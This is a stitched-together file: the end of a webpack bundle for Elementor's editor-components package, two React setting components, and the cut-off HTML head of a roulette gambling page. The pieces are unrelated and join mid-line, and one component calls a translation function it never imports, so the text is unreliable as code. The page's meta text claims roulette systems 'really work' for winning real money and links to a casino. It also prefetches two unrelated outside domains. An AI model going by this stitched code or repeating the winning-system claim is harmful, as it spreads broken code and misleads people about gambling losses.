/* harmony export */   COMPONENT_WIDGET_TYPE: function() { return /* reexport safe */ _create_component_type__WEBPACK_IMPORTED_MODULE_12__.COMPONENT_WIDGET_TYPE; },
/* harmony export */   ComponentInstanceProvider: function() { return /* reexport safe */ _provider_component_instance_context__WEBPACK_IMPORTED_MODULE_20__.ComponentInstanceProvider; },
/* harmony export */   ComponentItem: function() { return /* reexport safe */ _components_components_tab_components_item__WEBPACK_IMPORTED_MODULE_3__.ComponentItem; },
/* harmony export */   ComponentName: function() { return /* reexport safe */ _components_components_tab_components_item__WEBPACK_IMPORTED_MODULE_3__.ComponentName; },
/* harmony export */   ComponentSearch: function() { return /* reexport safe */ _components_components_tab_component_search__WEBPACK_IMPORTED_MODULE_2__.ComponentSearch; },
/* harmony export */   ComponentsList: function() { return /* reexport safe */ _components_components_tab_components_list__WEBPACK_IMPORTED_MODULE_4__.ComponentsList; },
/* harmony export */   DetachAction: function() { return /* reexport safe */ _components_instance_editing_panel_detach_action__WEBPACK_IMPORTED_MODULE_11__.DetachAction; },
/* harmony export */   EditComponentAction: function() { return /* reexport safe */ _components_instance_editing_panel_instance_panel_header__WEBPACK_IMPORTED_MODULE_9__.EditComponentAction; },
/* harmony export */   EmptySearchResult: function() { return /* reexport safe */ _components_components_tab_components_list__WEBPACK_IMPORTED_MODULE_4__.EmptySearchResult; },
/* harmony export */   InstanceEmptyState: function() { return /* reexport safe */ _components_instance_editing_panel_empty_state__WEBPACK_IMPORTED_MODULE_7__.EmptyState; },
/* harmony export */   InstancePanelBody: function() { return /* reexport safe */ _components_instance_editing_panel_instance_panel_body__WEBPACK_IMPORTED_MODULE_8__.InstancePanelBody; },
/* harmony export */   InstancePanelHeader: function() { return /* reexport safe */ _components_instance_editing_panel_instance_panel_header__WEBPACK_IMPORTED_MODULE_9__.InstancePanelHeader; },
/* harmony export */   LoadingComponents: function() { return /* reexport safe */ _components_components_tab_loading_components__WEBPACK_IMPORTED_MODULE_5__.LoadingComponents; },
/* harmony export */   OverridablePropProvider: function() { return /* reexport safe */ _provider_overridable_prop_context__WEBPACK_IMPORTED_MODULE_21__.OverridablePropProvider; },
/* harmony export */   SLICE_NAME: function() { return /* reexport safe */ _store_store__WEBPACK_IMPORTED_MODULE_26__.SLICE_NAME; },
/* harmony export */   SearchProvider: function() { return /* reexport safe */ _components_components_tab_search_provider__WEBPACK_IMPORTED_MODULE_6__.SearchProvider; },
/* harmony export */   apiClient: function() { return /* reexport safe */ _api__WEBPACK_IMPORTED_MODULE_1__.apiClient; },
/* harmony export */   componentInstanceOverridePropTypeUtil: function() { return /* reexport safe */ _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_16__.componentInstanceOverridePropTypeUtil; },
/* harmony export */   componentInstanceOverridesPropTypeUtil: function() { return /* reexport safe */ _prop_types_component_instance_overrides_prop_type__WEBPACK_IMPORTED_MODULE_17__.componentInstanceOverridesPropTypeUtil; },
/* harmony export */   componentInstancePropTypeUtil: function() { return /* reexport safe */ _prop_types_component_instance_prop_type__WEBPACK_IMPORTED_MODULE_18__.componentInstancePropTypeUtil; },
/* harmony export */   componentOverridablePropTypeUtil: function() { return /* reexport safe */ _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_19__.componentOverridablePropTypeUtil; },
/* harmony export */   componentsActions: function() { return /* reexport safe */ _store_dispatchers__WEBPACK_IMPORTED_MODULE_24__.componentsActions; },
/* harmony export */   componentsSelectors: function() { return /* reexport safe */ _store_selectors__WEBPACK_IMPORTED_MODULE_25__.componentsSelectors; },
/* harmony export */   createComponentsAction: function() { return /* reexport safe */ _store_store__WEBPACK_IMPORTED_MODULE_26__.createComponentsAction; },
/* harmony export */   filterValidOverridableProps: function() { return /* reexport safe */ _utils_filter_valid_overridable_props__WEBPACK_IMPORTED_MODULE_28__.filterValidOverridableProps; },
/* harmony export */   getComponentDocumentData: function() { return /* reexport safe */ _utils_component_document_data__WEBPACK_IMPORTED_MODULE_36__.getComponentDocumentData; },
/* harmony export */   getContainerByOriginId: function() { return /* reexport safe */ _utils_get_container_by_origin_id__WEBPACK_IMPORTED_MODULE_29__.getContainerByOriginId; },
/* harmony export */   getOverridableProp: function() { return /* reexport safe */ _utils_get_overridable_prop__WEBPACK_IMPORTED_MODULE_30__.getOverridableProp; },
/* harmony export */   getPropTypeForComponentOverride: function() { return /* reexport safe */ _utils_get_prop_type_for_component_override__WEBPACK_IMPORTED_MODULE_31__.getPropTypeForComponentOverride; },
/* harmony export */   init: function() { return /* reexport safe */ _init__WEBPACK_IMPORTED_MODULE_0__.init; },
/* harmony export */   isComponentInstance: function() { return /* reexport safe */ _utils_is_component_instance__WEBPACK_IMPORTED_MODULE_32__.isComponentInstance; },
/* harmony export */   loadComponentsAssets: function() { return /* reexport safe */ _store_actions_load_components_assets__WEBPACK_IMPORTED_MODULE_22__.loadComponentsAssets; },
/* harmony export */   onElementDrop: function() { return /* reexport safe */ _utils_tracking__WEBPACK_IMPORTED_MODULE_35__.onElementDrop; },
/* harmony export */   publishDraftComponentsInPageBeforeSave: function() { return /* reexport safe */ _sync_publish_draft_components_in_page_before_save__WEBPACK_IMPORTED_MODULE_27__.publishDraftComponentsInPageBeforeSave; },
/* harmony export */   registerComponentsReducer: function() { return /* reexport safe */ _store_store__WEBPACK_IMPORTED_MODULE_26__.registerComponentsReducer; },
/* harmony export */   resolveOverridePropValue: function() { return /* reexport safe */ _utils_resolve_override_prop_value__WEBPACK_IMPORTED_MODULE_33__.resolveOverridePropValue; },
/* harmony export */   selectComponentByUid: function() { return /* reexport safe */ _store_store__WEBPACK_IMPORTED_MODULE_26__.selectComponentByUid; },
/* harmony export */   selectCreatedThisSession: function() { return /* reexport safe */ _store_store__WEBPACK_IMPORTED_MODULE_26__.selectCreatedThisSession; },
/* harmony export */   selectOverridableProps: function() { return /* reexport safe */ _store_store__WEBPACK_IMPORTED_MODULE_26__.selectOverridableProps; },
/* harmony export */   selectPath: function() { return /* reexport safe */ _store_store__WEBPACK_IMPORTED_MODULE_26__.selectPath; },
/* harmony export */   slice: function() { return /* reexport safe */ _store_store__WEBPACK_IMPORTED_MODULE_26__.slice; },
/* harmony export */   switchToComponent: function() { return /* reexport safe */ _utils_switch_to_component__WEBPACK_IMPORTED_MODULE_34__.switchToComponent; },
/* harmony export */   trackComponentEvent: function() { return /* reexport safe */ _utils_tracking__WEBPACK_IMPORTED_MODULE_35__.trackComponentEvent; },
/* harmony export */   updateOverridableProp: function() { return /* reexport safe */ _store_actions_update_overridable_prop__WEBPACK_IMPORTED_MODULE_23__.updateOverridableProp; },
/* harmony export */   useComponentInstanceElement: function() { return /* reexport safe */ _provider_overridable_prop_context__WEBPACK_IMPORTED_MODULE_21__.useComponentInstanceElement; },
/* harmony export */   useComponents: function() { return /* reexport safe */ _hooks_use_components__WEBPACK_IMPORTED_MODULE_13__.useComponents; },
/* harmony export */   useComponentsPermissions: function() { return /* reexport safe */ _hooks_use_components_permissions__WEBPACK_IMPORTED_MODULE_14__.useComponentsPermissions; },
/* harmony export */   useCurrentComponent: function() { return /* reexport safe */ _store_store__WEBPACK_IMPORTED_MODULE_26__.useCurrentComponent; },
/* harmony export */   useCurrentComponentId: function() { return /* reexport safe */ _store_store__WEBPACK_IMPORTED_MODULE_26__.useCurrentComponentId; },
/* harmony export */   useFilteredComponents: function() { return /* reexport safe */ _components_components_tab_components_list__WEBPACK_IMPORTED_MODULE_4__.useFilteredComponents; },
/* harmony export */   useInstancePanelData: function() { return /* reexport safe */ _components_instance_editing_panel_use_instance_panel_data__WEBPACK_IMPORTED_MODULE_10__.useInstancePanelData; },
/* harmony export */   useIsSanitizedComponent: function() { return /* reexport safe */ _store_store__WEBPACK_IMPORTED_MODULE_26__.useIsSanitizedComponent; },
/* harmony export */   useOverridablePropValue: function() { return /* reexport safe */ _provider_overridable_prop_context__WEBPACK_IMPORTED_MODULE_21__.useOverridablePropValue; },
/* harmony export */   useOverridableProps: function() { return /* reexport safe */ _store_store__WEBPACK_IMPORTED_MODULE_26__.useOverridableProps; },
/* harmony export */   useSanitizeOverridableProps: function() { return /* reexport safe */ _hooks_use_sanitize_overridable_props__WEBPACK_IMPORTED_MODULE_15__.useSanitizeOverridableProps; }
/* harmony export */ });
/* harmony import */ var _init__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./init */ "./packages/packages/core/editor-components/src/init.ts");
/* harmony import */ var _api__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./api */ "./packages/packages/core/editor-components/src/api.ts");
/* harmony import */ var _components_components_tab_component_search__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./components/components-tab/component-search */ "./packages/packages/core/editor-components/src/components/components-tab/component-search.tsx");
/* harmony import */ var _components_components_tab_components_item__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./components/components-tab/components-item */ "./packages/packages/core/editor-components/src/components/components-tab/components-item.tsx");
/* harmony import */ var _components_components_tab_components_list__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./components/components-tab/components-list */ "./packages/packages/core/editor-components/src/components/components-tab/components-list.tsx");
/* harmony import */ var _components_components_tab_loading_components__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./components/components-tab/loading-components */ "./packages/packages/core/editor-components/src/components/components-tab/loading-components.tsx");
/* harmony import */ var _components_components_tab_search_provider__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./components/components-tab/search-provider */ "./packages/packages/core/editor-components/src/components/components-tab/search-provider.tsx");
/* harmony import */ var _components_instance_editing_panel_empty_state__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./components/instance-editing-panel/empty-state */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/empty-state.tsx");
/* harmony import */ var _components_instance_editing_panel_instance_panel_body__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./components/instance-editing-panel/instance-panel-body */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/instance-panel-body.tsx");
/* harmony import */ var _components_instance_editing_panel_instance_panel_header__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./components/instance-editing-panel/instance-panel-header */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/instance-panel-header.tsx");
/* harmony import */ var _components_instance_editing_panel_use_instance_panel_data__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! ./components/instance-editing-panel/use-instance-panel-data */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/use-instance-panel-data.ts");
/* harmony import */ var _components_instance_editing_panel_detach_action__WEBPACK_IMPORTED_MODULE_11__ = __webpack_require__(/*! ./components/instance-editing-panel/detach-action */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/detach-action.tsx");
/* harmony import */ var _create_component_type__WEBPACK_IMPORTED_MODULE_12__ = __webpack_require__(/*! ./create-component-type */ "./packages/packages/core/editor-components/src/create-component-type.ts");
/* harmony import */ var _hooks_use_components__WEBPACK_IMPORTED_MODULE_13__ = __webpack_require__(/*! ./hooks/use-components */ "./packages/packages/core/editor-components/src/hooks/use-components.ts");
/* harmony import */ var _hooks_use_components_permissions__WEBPACK_IMPORTED_MODULE_14__ = __webpack_require__(/*! ./hooks/use-components-permissions */ "./packages/packages/core/editor-components/src/hooks/use-components-permissions.ts");
/* harmony import */ var _hooks_use_sanitize_overridable_props__WEBPACK_IMPORTED_MODULE_15__ = __webpack_require__(/*! ./hooks/use-sanitize-overridable-props */ "./packages/packages/core/editor-components/src/hooks/use-sanitize-overridable-props.ts");
/* harmony import */ var _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_16__ = __webpack_require__(/*! ./prop-types/component-instance-override-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-override-prop-type.ts");
/* harmony import */ var _prop_types_component_instance_overrides_prop_type__WEBPACK_IMPORTED_MODULE_17__ = __webpack_require__(/*! ./prop-types/component-instance-overrides-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-overrides-prop-type.ts");
/* harmony import */ var _prop_types_component_instance_prop_type__WEBPACK_IMPORTED_MODULE_18__ = __webpack_require__(/*! ./prop-types/component-instance-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-prop-type.ts");
/* harmony import */ var _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_19__ = __webpack_require__(/*! ./prop-types/component-overridable-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-overridable-prop-type.ts");
/* harmony import */ var _provider_component_instance_context__WEBPACK_IMPORTED_MODULE_20__ = __webpack_require__(/*! ./provider/component-instance-context */ "./packages/packages/core/editor-components/src/provider/component-instance-context.tsx");
/* harmony import */ var _provider_overridable_prop_context__WEBPACK_IMPORTED_MODULE_21__ = __webpack_require__(/*! ./provider/overridable-prop-context */ "./packages/packages/core/editor-components/src/provider/overridable-prop-context.tsx");
/* harmony import */ var _store_actions_load_components_assets__WEBPACK_IMPORTED_MODULE_22__ = __webpack_require__(/*! ./store/actions/load-components-assets */ "./packages/packages/core/editor-components/src/store/actions/load-components-assets.ts");
/* harmony import */ var _store_actions_update_overridable_prop__WEBPACK_IMPORTED_MODULE_23__ = __webpack_require__(/*! ./store/actions/update-overridable-prop */ "./packages/packages/core/editor-components/src/store/actions/update-overridable-prop.ts");
/* harmony import */ var _store_dispatchers__WEBPACK_IMPORTED_MODULE_24__ = __webpack_require__(/*! ./store/dispatchers */ "./packages/packages/core/editor-components/src/store/dispatchers.ts");
/* harmony import */ var _store_selectors__WEBPACK_IMPORTED_MODULE_25__ = __webpack_require__(/*! ./store/selectors */ "./packages/packages/core/editor-components/src/store/selectors.ts");
/* harmony import */ var _store_store__WEBPACK_IMPORTED_MODULE_26__ = __webpack_require__(/*! ./store/store */ "./packages/packages/core/editor-components/src/store/store.ts");
/* harmony import */ var _sync_publish_draft_components_in_page_before_save__WEBPACK_IMPORTED_MODULE_27__ = __webpack_require__(/*! ./sync/publish-draft-components-in-page-before-save */ "./packages/packages/core/editor-components/src/sync/publish-draft-components-in-page-before-save.ts");
/* harmony import */ var _utils_filter_valid_overridable_props__WEBPACK_IMPORTED_MODULE_28__ = __webpack_require__(/*! ./utils/filter-valid-overridable-props */ "./packages/packages/core/editor-components/src/utils/filter-valid-overridable-props.ts");
/* harmony import */ var _utils_get_container_by_origin_id__WEBPACK_IMPORTED_MODULE_29__ = __webpack_require__(/*! ./utils/get-container-by-origin-id */ "./packages/packages/core/editor-components/src/utils/get-container-by-origin-id.ts");
/* harmony import */ var _utils_get_overridable_prop__WEBPACK_IMPORTED_MODULE_30__ = __webpack_require__(/*! ./utils/get-overridable-prop */ "./packages/packages/core/editor-components/src/utils/get-overridable-prop.ts");
/* harmony import */ var _utils_get_prop_type_for_component_override__WEBPACK_IMPORTED_MODULE_31__ = __webpack_require__(/*! ./utils/get-prop-type-for-component-override */ "./packages/packages/core/editor-components/src/utils/get-prop-type-for-component-override.ts");
/* harmony import */ var _utils_is_component_instance__WEBPACK_IMPORTED_MODULE_32__ = __webpack_require__(/*! ./utils/is-component-instance */ "./packages/packages/core/editor-components/src/utils/is-component-instance.ts");
/* harmony import */ var _utils_resolve_override_prop_value__WEBPACK_IMPORTED_MODULE_33__ = __webpack_require__(/*! ./utils/resolve-override-prop-value */ "./packages/packages/core/editor-components/src/utils/resolve-override-prop-value.ts");
/* harmony import */ var _utils_switch_to_component__WEBPACK_IMPORTED_MODULE_34__ = __webpack_require__(/*! ./utils/switch-to-component */ "./packages/packages/core/editor-components/src/utils/switch-to-component.ts");
/* harmony import */ var _utils_tracking__WEBPACK_IMPORTED_MODULE_35__ = __webpack_require__(/*! ./utils/tracking */ "./packages/packages/core/editor-components/src/utils/tracking.ts");
/* harmony import */ var _utils_component_document_data__WEBPACK_IMPORTED_MODULE_36__ = __webpack_require__(/*! ./utils/component-document-data */ "./packages/packages/core/editor-components/src/utils/component-document-data.ts");





































}();
(window.elementorV2 = window.elementorV2 || {}).editorComponents = __webpack_exports__;
/******/ })()
;
window.elementorV2.editorComponents?.init?.();
//# sourceMappingURL=editor-components.js.mapimport {
	Dialog,
	DialogHeader,
	DialogTitle,
	DialogContent,
	DialogActions,
	Button,
} from '@elementor/ui';
import { __ } from '@wordpress/i18n';
import * as PropTypes from 'prop-types';

export function KitCustomizationDialog( {
	open,
	title,
	handleClose,
	handleSaveChanges,
	children,
	saveDisabled = false,
} ) {
	return (
		<Dialog
			open={ open }
			onClose={ handleClose }
			maxWidth="md"
			fullWidth
		>
			<DialogHeader onClose={ handleClose }>
				<DialogTitle>
					{ title }
				</DialogTitle>
			</DialogHeader>

			<DialogContent dividers sx={ { pt: 3, px: 3, pb: 0 } }>
				{ children }
			</DialogContent>

			<DialogActions>
				<Button
					onClick={ handleClose }
					color="secondary"
				>
					{ __( 'Cancel', 'elementor' ) }
				</Button>
				<Button
					disabled={ saveDisabled }
					onClick={ handleSaveChanges }
					variant="contained"
					color="primary"
				>
					{ __( 'Save changes', 'elementor' ) }
				</Button>
			</DialogActions>
		</Dialog>
	);
}

KitCustomizationDialog.propTypes = {
	open: PropTypes.bool.isRequired,
	handleClose: PropTypes.func.isRequired,
	handleSaveChanges: PropTypes.func.isRequired,
	children: PropTypes.node.isRequired,
	title: PropTypes.string.isRequired,
	saveDisabled: PropTypes.bool,
};
import { Box, Typography, Switch } from '@elementor/ui';
import * as PropTypes from 'prop-types';
import { UpgradeTooltip } from './upgrade-tooltip';

export const SubSetting = ( {
	label,
	settingKey,
	onSettingChange,
	checked = false,
	disabled = false,
	notExported = false,
	tooltip = false,
} ) => {
	const getToggle = () => {
		if ( notExported ) {
			return (
				<Typography
					data-testid={ `${ settingKey }-description` }
					variant="body1"
					color="text.secondary"
					sx={ {
						fontWeight: 400,
						alignSelf: 'center',
					} }
				>
					{ __( 'Not exported', 'elementor' ) }
				</Typography>
			);
		}

		const switchElement = (
			<Switch
				data-testid={ `${ settingKey }-switch` }
				checked={ checked }
				disabled={ disabled }
				onChange={ ( _, isChecked ) => onSettingChange && onSettingChange( settingKey, isChecked ) }
				color="info"
				size="medium"
				sx={ {
					alignSelf: 'center',
					...( disabled && tooltip && { cursor: 'pointer' } ),
				} }
			/>
		);

		return (
			<UpgradeTooltip disabled={ disabled } tooltip={ tooltip }>
				{ switchElement }
			</UpgradeTooltip>
		);
	};

	return (
		<Box
			sx={ {
				display: 'flex',
				justifyContent: 'space-between',
				alignItems: 'center',
			} }
		>
			<Typography data-testid={ `${ settingKey }-label` } variant="body1">
				{ label }
			</Typography>
			{ getToggle() }
		</Box>
	);
};

SubSetting.propTypes = {
	checked: PropTypes.bool,
	disabled: PropTypes.bool,
	notExported: PropTypes.bool,
	label: PropTypes.string.isRequired,
	settingKey: PropTypes.string.isRequired,
	onSettingChange: PropTypes.func,
	tooltip: PropTypes.bool,
};
<!DOCTYPE HTML>
<html lang="en-US">
<head>
    <meta charset="UTF-8"/>
    <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
    <meta name="viewport" content="width=device-width, initial-scale=1"/>
    <meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />

	<!-- This site is optimized with the Yoast SEO plugin v22.9 - https://yoast.com/wordpress/plugins/seo/ -->
	<title>The Top Roulette Systems &amp; Strategies That Really Work - Welcome to :</title>
	<link rel="canonical" href="https://www.rouletterebel.com/the-top-roulette-systems-strategies-that-really-work/" />
	<meta property="og:locale" content="en_US" />
	<meta property="og:type" content="article" />
	<meta property="og:title" content="The Top Roulette Systems &amp; Strategies That Really Work - Welcome to :" />
	<meta property="og:description" content="&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Roulette is not the unbeatable game that many people believe it to be. However, only a handful roulette strategies are shown to work. The most effective systems are listed below and they will guide you on how best you can find yourself winning real money at the &lt;a href=&#8221;https://www.5reeldriveslots.com/&#8221;&gt;most reliable online casino&lt;/a&gt;. &lt;img [&hellip;]" />
	<meta property="og:url" content="https://www.rouletterebel.com/the-top-roulette-systems-strategies-that-really-work/" />
	<meta property="og:site_name" content="Welcome to :" />
	<meta property="article:modified_time" content="2026-08-13T06:44:44+00:00" />
	<meta name="twitter:card" content="summary_large_image" />
	<meta name="twitter:label1" content="Est. reading time" />
	<meta name="twitter:data1" content="9 minutes" />
	<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebPage","@id":"https://www.rouletterebel.com/the-top-roulette-systems-strategies-that-really-work/","url":"https://www.rouletterebel.com/the-top-roulette-systems-strategies-that-really-work/","name":"The Top Roulette Systems &amp; Strategies That Really Work - Welcome to :","isPartOf":{"@id":"https://www.rouletterebel.com/#website"},"datePublished":"2021-08-05T06:53:52+00:00","dateModified":"2026-08-13T06:44:44+00:00","breadcrumb":{"@id":"https://www.rouletterebel.com/the-top-roulette-systems-strategies-that-really-work/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.rouletterebel.com/the-top-roulette-systems-strategies-that-really-work/"]}]},{"@type":"BreadcrumbList","@id":"https://www.rouletterebel.com/the-top-roulette-systems-strategies-that-really-work/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.rouletterebel.com/"},{"@type":"ListItem","position":2,"name":"The Top Roulette Systems &amp; Strategies That Really Work"}]},{"@type":"WebSite","@id":"https://www.rouletterebel.com/#website","url":"https://www.rouletterebel.com/","name":"Welcome to :","description":"www.rouletterebel.com","publisher":{"@id":"https://www.rouletterebel.com/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.rouletterebel.com/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https://www.rouletterebel.com/#organization","name":"Welcome to :","url":"https://www.rouletterebel.com/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.rouletterebel.com/#/schema/logo/image/","url":"https://www.rouletterebel.com/wp-content/uploads/2020/12/cropped-rreb3-1.png","contentUrl":"https://www.rouletterebel.com/wp-content/uploads/2020/12/cropped-rreb3-1.png","width":530,"height":246,"caption":"Welcome to :"},"image":{"@id":"https://www.rouletterebel.com/#/schema/logo/image/"}}]}</script>
	<!-- / Yoast SEO plugin. -->


<link rel='dns-prefetch' href='//interseq.at' />
<link rel='dns-prefetch' href='//norediam.com' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="Welcome to : &raquo; Feed" href="https://www.rouletterebel.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Welcome to : &raquo; Comments Feed" href="https://www.rouletterebel.com/comments/feed/" />
<script type="text/javascript">
/* <![CDATA[ */
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/www.rouletterebel.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.13"}};
/*! This file is auto-generated */
!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83d\udc26\u200d\u2b1b","\ud83d\udc26\u200b\u2b1b")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
/* ]]> */
</script>
<style id='wp-emoji-styles-inline-css' type='text/css'>

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
</style>
<link rel='stylesheet' id='wp-block-library-css' href='https://www.rouletterebel.com/wp-includes/css/dist/block-library/style.min.css?ver=6.5.13' type='text/css' media='all' />
<style id='classic-theme-styles-inline-css' type='text/css'>
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
</style>
<style id='global-styles-inline-css' type='text/css'>
body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 